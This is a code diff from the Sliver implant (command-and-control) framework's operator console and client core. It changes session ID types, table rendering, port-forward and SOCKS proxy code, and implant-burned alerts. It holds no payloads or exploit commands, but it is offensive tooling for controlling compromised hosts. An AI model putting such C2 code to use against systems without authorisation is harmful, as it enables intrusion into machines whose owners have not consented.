session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
@@ -27,8 +27,8 @@ import (
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// SocksStopCmd - Remove an existing tunneled port forward
|
||||
func SocksStopCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// SocksRmCmd - Remove an existing tunneled port forward
|
||||
func SocksRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksID := ctx.Flags.Int("id")
|
||||
if socksID < 1 {
|
||||
con.PrintErrorf("Must specify a valid socks5 id\n")
|
||||
@@ -559,21 +559,6 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
}
|
||||
registry.PrintCreateKey(createKey, createKeyReq.Path, createKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryDeleteKeyReq:
|
||||
deleteKeyReq := &sliverpb.RegistryDeleteKeyReq{}
|
||||
err := proto.Unmarshal(task.Request, deleteKeyReq)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
deleteKey := &sliverpb.RegistryDeleteKey{}
|
||||
err = proto.Unmarshal(task.Response, deleteKey)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
registry.PrintDeleteKey(deleteKey, deleteKeyReq.Path, deleteKeyReq.Key, con)
|
||||
|
||||
case sliverpb.MsgRegistryListValuesReq:
|
||||
listValuesReq := &sliverpb.RegistryListValuesReq{}
|
||||
err := proto.Unmarshal(task.Request, listValuesReq)
|
||||
|
||||
@@ -29,7 +29,7 @@ func UseSessionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, err := sessions.SelectSession(false, con)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
} else if err != nil {
|
||||
switch err {
|
||||
case sessions.ErrNoSessions:
|
||||
|
||||
+17
-19
@@ -24,6 +24,7 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
@@ -55,7 +56,7 @@ func UseCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
con.PrintInfof("Active session %s (%s)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Active session %s (%d)\n", session.Name, session.ID)
|
||||
} else if beacon != nil {
|
||||
con.ActiveTarget.Set(nil, beacon)
|
||||
con.PrintInfof("Active beacon %s (%s)\n", beacon.Name, beacon.ID)
|
||||
@@ -68,9 +69,10 @@ func SessionOrBeaconByID(id string, con *console.SliverConsoleClient) (*clientpb
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
idNumber, err := strconv.Atoi(id)
|
||||
if err == nil {
|
||||
for _, session := range sessions.Sessions {
|
||||
if strings.HasPrefix(session.ID, id) {
|
||||
if session.ID == uint32(idNumber) {
|
||||
return session, nil, nil
|
||||
}
|
||||
}
|
||||
@@ -94,15 +96,15 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
sessionsMap := map[uint32]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
var sessionKeys []string
|
||||
var sessionKeys []int
|
||||
for _, session := range sessions.Sessions {
|
||||
sessionKeys = append(sessionKeys, session.ID)
|
||||
sessionKeys = append(sessionKeys, int(session.ID))
|
||||
}
|
||||
sort.Strings(sessionKeys)
|
||||
sort.Ints(sessionKeys)
|
||||
|
||||
// Get and sort beacons
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
@@ -120,7 +122,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
sort.Strings(beaconKeys)
|
||||
|
||||
if len(beaconKeys) == 0 && len(sessionKeys) == 0 {
|
||||
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
|
||||
return nil, nil, fmt.Errorf("No sessions or beacons 🙁")
|
||||
}
|
||||
|
||||
// Render selection table
|
||||
@@ -128,10 +130,9 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
|
||||
for _, key := range sessionKeys {
|
||||
session := sessionsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"SESSION",
|
||||
strings.Split(session.ID, "-")[0],
|
||||
session := sessionsMap[uint32(key)]
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%s\t%s\t%s\n",
|
||||
session.ID,
|
||||
session.Name,
|
||||
session.RemoteAddress,
|
||||
session.Hostname,
|
||||
@@ -141,8 +142,7 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
}
|
||||
for _, key := range beaconKeys {
|
||||
beacon := beaconsMap[key]
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"BEACON",
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
strings.Split(beacon.ID, "-")[0],
|
||||
beacon.Name,
|
||||
beacon.RemoteAddress,
|
||||
@@ -167,24 +167,22 @@ func SelectSessionOrBeacon(con *console.SliverConsoleClient) (*clientpb.Session,
|
||||
for index, option := range options {
|
||||
if option == selected {
|
||||
if index < len(sessionKeys) {
|
||||
return sessionsMap[sessionKeys[index]], nil, nil
|
||||
return sessionsMap[uint32(sessionKeys[index])], nil, nil
|
||||
}
|
||||
return nil, beaconsMap[beaconKeys[index-len(sessionKeys)]], nil
|
||||
}
|
||||
}
|
||||
return nil, nil, nil
|
||||
}
|
||||
|
||||
// BeaconAndSessionIDCompleter - BeaconAndSessionIDCompleter for beacon / session ids
|
||||
func BeaconAndSessionIDCompleter(prefix string, args []string, con *console.SliverConsoleClient) (results []string) {
|
||||
func Completer(con *console.SliverConsoleClient, prefix string, args []string) (results []string) {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range sessions.Sessions {
|
||||
sid := s.ID
|
||||
sid := fmt.Sprintf("%d", s.ID)
|
||||
if strings.HasPrefix(sid, prefix) {
|
||||
results = append(results, s.ID)
|
||||
results = append(results, fmt.Sprintf("%d", s.ID))
|
||||
}
|
||||
}
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
|
||||
@@ -62,7 +62,7 @@ func WebsitesAddContentCmd(ctx *grumble.Context, con *console.SliverConsoleClien
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
PrintWebsite(web, con)
|
||||
displayWebsite(web, con)
|
||||
}
|
||||
|
||||
func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) {
|
||||
|
||||
@@ -50,5 +50,5 @@ func WebsitesRmContent(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to remove content %s", err)
|
||||
return
|
||||
}
|
||||
PrintWebsite(web, con)
|
||||
displayWebsite(web, con)
|
||||
}
|
||||
@@ -39,5 +39,5 @@ func WebsitesUpdateContentCmd(ctx *grumble.Context, con *console.SliverConsoleCl
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
PrintWebsite(web, con)
|
||||
displayWebsite(web, con)
|
||||
}
|
||||
@@ -20,14 +20,14 @@ package websites
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
@@ -75,23 +75,21 @@ func ListWebsiteContent(websiteName string, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
if 0 < len(website.Contents) {
|
||||
PrintWebsite(website, con)
|
||||
displayWebsite(website, con)
|
||||
} else {
|
||||
con.PrintInfof("No content for '%s'", websiteName)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintWebsite - Print a website and its contents, paths, etc.
|
||||
func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
func displayWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
con.Println(console.Clearln + console.Info + web.Name)
|
||||
con.Println()
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Path",
|
||||
"Content-type",
|
||||
"Size",
|
||||
})
|
||||
table := tabwriter.NewWriter(con.App.Stdout(), 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "Path\tContent-type\tSize\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("Path")),
|
||||
strings.Repeat("=", len("Content-type")),
|
||||
strings.Repeat("=", len("Size")))
|
||||
sortedContents := []*clientpb.WebContent{}
|
||||
for _, content := range web.Contents {
|
||||
sortedContents = append(sortedContents, content)
|
||||
@@ -100,11 +98,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
tw.AppendHeader(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
})
|
||||
fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size)
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
table.Flush()
|
||||
}
|
||||
@@ -50,7 +50,7 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
portfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
pfwdAdd, err := con.Rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{
|
||||
LocalPort: int32(localPort),
|
||||
RemoteAddress: remoteAddr,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
@@ -61,9 +61,9 @@ func WGPortFwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
if portfwdAdd.Response != nil && portfwdAdd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", portfwdAdd.Response.Err)
|
||||
if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", pfwdAdd.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", portfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
|
||||
con.PrintInfof("Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort)
|
||||
}
|
||||
@@ -19,13 +19,15 @@ package wireguard
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// WGPortFwdListCmd - List WireGuard port forwards
|
||||
@@ -42,10 +44,12 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
fwdList, err := con.Rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if fwdList.Response != nil && fwdList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", fwdList.Response.Err)
|
||||
return
|
||||
@@ -55,22 +59,18 @@ func WGPortFwdListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if len(fwdList.Forwarders) == 0 {
|
||||
con.PrintInfof("No port forwards\n")
|
||||
} else {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
outBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Local Address")),
|
||||
strings.Repeat("=", len("Remote Address")))
|
||||
for _, fwd := range fwdList.Forwarders {
|
||||
tw.AppendRow(table.Row{
|
||||
fwd.ID,
|
||||
fwd.LocalAddr,
|
||||
fwd.RemoteAddr,
|
||||
})
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr)
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
table.Flush()
|
||||
con.Println(outBuf.String())
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -19,13 +19,15 @@ package wireguard
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// WGSocksListCmd - List WireGuard SOCKS proxies
|
||||
@@ -42,30 +44,30 @@ func WGSocksListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
socksList, err := con.Rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
if socksList.Response != nil && socksList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", socksList.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
if socksList.Servers != nil {
|
||||
if 0 < len(socksList.Servers) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Local Address",
|
||||
})
|
||||
if len(socksList.Servers) > 0 {
|
||||
outBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tLocal Address\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Local Address")))
|
||||
for _, server := range socksList.Servers {
|
||||
tw.AppendRow(table.Row{
|
||||
server.ID,
|
||||
server.LocalAddr,
|
||||
})
|
||||
fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr)
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
table.Flush()
|
||||
con.Println(outBuf.String())
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+14
-18
@@ -31,7 +31,6 @@ import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
@@ -42,10 +41,13 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"time"
|
||||
|
||||
"github.com/desertbit/go-shlex"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/fatih/color"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -165,8 +167,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (DNS Canary)\n", Normal, event.Session.Name)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected\n", shortID)
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected\n", session.ID)
|
||||
}
|
||||
|
||||
case consts.WatchtowerEvent:
|
||||
@@ -174,8 +175,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
eventMsg := fmt.Sprintf(Bold+"WARNING: %s%s has been burned (seen on %s)\n", Normal, event.Session.Name, msg)
|
||||
sessions := con.GetSessionsByName(event.Session.Name)
|
||||
for _, session := range sessions {
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session %s is affected", shortID)
|
||||
con.PrintEventErrorf(eventMsg+"\n"+Clearln+"\t🔥 Session #%d is affected", session.ID)
|
||||
}
|
||||
|
||||
case consts.JoinedEvent:
|
||||
@@ -190,9 +190,8 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionOpenedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
con.PrintEventInfof("Session #%d %s - %s (%s) - %s/%s - %v",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
|
||||
// Prelude Operator
|
||||
if prelude.SessionMapper != nil {
|
||||
@@ -205,15 +204,12 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
case consts.SessionUpdateEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventInfof("Session %s has been updated - %v", shortID, currentTime)
|
||||
con.PrintEventInfof("Session #%d has been updated - %v", session.ID, currentTime)
|
||||
|
||||
case consts.SessionClosedEvent:
|
||||
session := event.Session
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(session.ID, "-")[0]
|
||||
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
|
||||
con.PrintEventErrorf("Lost session #%d %s - %s (%s) - %s/%s",
|
||||
session.ID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch)
|
||||
activeSession := con.ActiveTarget.GetSession()
|
||||
if activeSession != nil && activeSession.ID == session.ID {
|
||||
con.ActiveTarget.Set(nil, nil)
|
||||
@@ -233,7 +229,7 @@ func (con *SliverConsoleClient) EventLoop() {
|
||||
proto.Unmarshal(event.Data, beacon)
|
||||
currentTime := time.Now().Format(time.RFC1123)
|
||||
shortID := strings.Split(beacon.ID, "-")[0]
|
||||
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
|
||||
con.PrintEventInfof("Beacon #%s %s - %s (%s) - %s/%s - %v",
|
||||
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
|
||||
|
||||
case consts.BeaconTaskResultEvent:
|
||||
@@ -299,7 +295,7 @@ func (con *SliverConsoleClient) triggerBeaconTaskCallback(data []byte) {
|
||||
|
||||
// If the callback is not in our map then we don't do anything, the beacon task
|
||||
// was either issued by another operator in multiplayer mode or the client process
|
||||
// was restarted between the time the task was created and when the server got the result
|
||||
// was restarted between the time the task was created and the server go the result
|
||||
con.BeaconTaskCallbacksMutex.Lock()
|
||||
defer con.BeaconTaskCallbacksMutex.Unlock()
|
||||
if callback, ok := con.BeaconTaskCallbacks[task.ID]; ok {
|
||||
@@ -410,7 +406,7 @@ func (con *SliverConsoleClient) GetSession(arg string) *clientpb.Session {
|
||||
return nil
|
||||
}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
if session.Name == arg || strings.HasPrefix(session.ID, arg) {
|
||||
if session.Name == arg || fmt.Sprintf("%d", session.ID) == arg {
|
||||
return session
|
||||
}
|
||||
}
|
||||
|
||||
@@ -97,23 +97,22 @@ const (
|
||||
KickOperatorStr = "kick-operator"
|
||||
MultiplayerModeStr = "multiplayer"
|
||||
|
||||
SessionsStr = "sessions"
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerInfoStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
SearchStr = "search"
|
||||
SessionsStr = "sessions"
|
||||
BackgroundStr = "background"
|
||||
InfoStr = "info"
|
||||
UseStr = "use"
|
||||
ReconfigStr = "reconfig"
|
||||
PruneStr = "prune"
|
||||
TasksStr = "tasks"
|
||||
GenerateStr = "generate"
|
||||
RegenerateStr = "regenerate"
|
||||
CompilerStr = "info"
|
||||
StagerStr = "stager"
|
||||
ProfilesStr = "profiles"
|
||||
BeaconStr = "beacon"
|
||||
BeaconsStr = "beacons"
|
||||
WatchStr = "watch"
|
||||
SettingsStr = "settings"
|
||||
|
||||
// Generic
|
||||
|
||||
@@ -188,11 +187,8 @@ const (
|
||||
MigrateStr = "migrate"
|
||||
SideloadStr = "sideload"
|
||||
SpawnDllStr = "spawndll"
|
||||
ExtensionsStr = "extensions"
|
||||
InstallStr = "install"
|
||||
ListStr = "list"
|
||||
ArmoryStr = "armory"
|
||||
AliasesStr = "aliases"
|
||||
ExtensionStr = "extension"
|
||||
LoadMacroStr = "load-macro"
|
||||
StageListenerStr = "stage-listener"
|
||||
|
||||
WebsitesStr = "websites"
|
||||
@@ -211,7 +207,6 @@ const (
|
||||
RegistryListSubStr = "list-subkeys"
|
||||
RegistryListValuesStr = "list-values"
|
||||
RegistryCreateKeyStr = "create"
|
||||
RegistryDeleteKeyStr = "delete"
|
||||
PivotsStr = "pivots"
|
||||
WgConfigStr = "wg-config"
|
||||
WgSocksStr = "wg-socks"
|
||||
@@ -220,7 +215,6 @@ const (
|
||||
SSHStr = "ssh"
|
||||
DLLHijackStr = "dllhijack"
|
||||
InteractiveStr = "interactive"
|
||||
CloseStr = "close"
|
||||
|
||||
PortfwdStr = "portfwd"
|
||||
Socks5Str = "socks5"
|
||||
@@ -243,6 +237,6 @@ const (
|
||||
SliverHelpGroup = "Sliver:"
|
||||
SliverWinHelpGroup = "Sliver - Windows:"
|
||||
MultiplayerHelpGroup = "Multiplayer:"
|
||||
AliasHelpGroup = "Sliver - 3rd Party macros:"
|
||||
MacroHelpGroup = "Sliver - 3rd Party macros:"
|
||||
ExtensionHelpGroup = "Sliver - 3rd Party extensions:"
|
||||
)
|
||||
@@ -1,23 +1,5 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
|
||||
@@ -29,7 +29,7 @@ var (
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type PortfwdMeta struct {
|
||||
ID int
|
||||
SessionID string
|
||||
SessionID uint32
|
||||
BindAddr string
|
||||
RemoteAddr string
|
||||
}
|
||||
@@ -184,7 +184,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
|
||||
log.Printf("[tcpproxy] Failed to dial implant %s", err)
|
||||
return nil, err
|
||||
}
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
log.Printf("[tcpproxy] Created new tunnel with id %d (session %d)", rpcTunnel.TunnelID, p.Session.ID)
|
||||
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||
|
||||
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
@@ -31,6 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/bishopfox/sliver/util/leaky"
|
||||
)
|
||||
|
||||
@@ -43,11 +43,12 @@ var (
|
||||
SocksConnPool = sync.Map{}
|
||||
SocksProxyID = 0
|
||||
)
|
||||
var coreLog = log.NamedLogger("ClientCore", "sessions")
|
||||
|
||||
// PortfwdMeta - Metadata about a portfwd listener
|
||||
type SocksProxyMeta struct {
|
||||
ID int
|
||||
SessionID string
|
||||
SessionID uint32
|
||||
BindAddr string
|
||||
Username string
|
||||
Password string
|
||||
@@ -120,7 +121,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
SocksConnPool.Delete(p.TunnelID)
|
||||
continue
|
||||
}
|
||||
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
coreLog.Debugf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
|
||||
//fmt.Printf("recv data len %d \n", len(p.Data))
|
||||
_, err := n.Write(p.Data)
|
||||
if err != nil {
|
||||
@@ -150,7 +151,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
|
||||
Request: &commonpb.Request{SessionID: rpcSocks.SessionID},
|
||||
})
|
||||
}
|
||||
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
coreLog.Infof("Socks Stop -> %s\n", tcpProxy.BindAddr)
|
||||
tcpProxy.Listener.Close()
|
||||
proxy.CloseSend()
|
||||
return nil
|
||||
@@ -192,7 +193,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
|
||||
SocksConnPool.Store(frame.TunnelID, conn)
|
||||
|
||||
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
coreLog.Infof("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
|
||||
|
||||
buff := leakyBuf.Get()
|
||||
defer leakyBuf.Put(buff)
|
||||
@@ -208,7 +209,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
|
||||
if n > 0 {
|
||||
frame.Data = buff[:n]
|
||||
frame.Sequence = ToImplantSequence
|
||||
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
coreLog.Debugf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
|
||||
err := stream.Send(frame)
|
||||
if err != nil {
|
||||
return
|
||||
|
||||
@@ -32,7 +32,7 @@ func (t *tunnels) Get(tunnelID uint64) *Tunnel {
|
||||
}
|
||||
|
||||
// Start - Add a tunnel to the core mapper
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
|
||||
func (t *tunnels) Start(tunnelID uint64, sessionID uint32) *Tunnel {
|
||||
t.mutex.Lock()
|
||||
defer t.mutex.Unlock()
|
||||
tunnel := &Tunnel{
|
||||
